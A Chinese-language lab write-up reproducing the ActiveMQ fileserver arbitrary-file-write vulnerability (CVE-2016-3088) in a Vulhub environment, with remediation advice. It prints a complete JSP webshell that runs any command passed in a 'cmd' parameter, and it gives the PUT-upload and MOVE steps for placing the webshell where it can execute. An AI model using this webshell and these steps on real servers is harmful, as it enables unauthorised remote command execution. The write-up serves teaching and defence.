ActiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。
fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:
(1)其使用率不高
(2)文件操作容易出现漏洞
因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。
2、漏洞详情
这个漏洞出现在Fileserver应用程序中,漏洞原理其实很简单,即fileserver支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要写入一个文件,然后通过使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。写入文件,如 cron 或 ssh 密钥
(1)编写 Webshell
(2)写入文件,如 cron 或 ssh 密钥
(3)编写库和配置文件,如 jar 或 jetty.xml
3、环境搭建
(1)打开Vulhub靶场环境,进入CVE-2016-3088根目录
(2) 输入下面命令,打开漏洞环境
docker-compose up -d
(3) 输入http://192.168.207.132:8161/查看漏洞环境搭建情况。
出现以上界面,漏洞环境搭建成功。
4、漏洞复现
(1)访问fileserver路径
(2)利用burpsuite进行抓包。
(3)发送到重发器,PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件。
jsp文件内容
<%@ page import="java.io.*"%>
<%
out.print("Hello");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"");
}
%>
(4) 浏览器访问
http://192.168.207.132:8161/fileserver/1.jsp
通过上图可以看到,fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限。
(5)通过浏览器访问ActiveMQ的绝对路径,
http://192.168.91.133:8161/admin/test/systemProperties.jsp
(6)通过move的方法,将木马文件移动到api或admin
(7)访问http://192.168.207.132:8161/api/1.jsp?cmd=ls
显示该界面,则访问成功。
5、修复方案
(1)ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
(2)通过移除 confjetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能
6、关闭漏洞环境
在CVE-2016-3088目录下输入:
docker-compose down



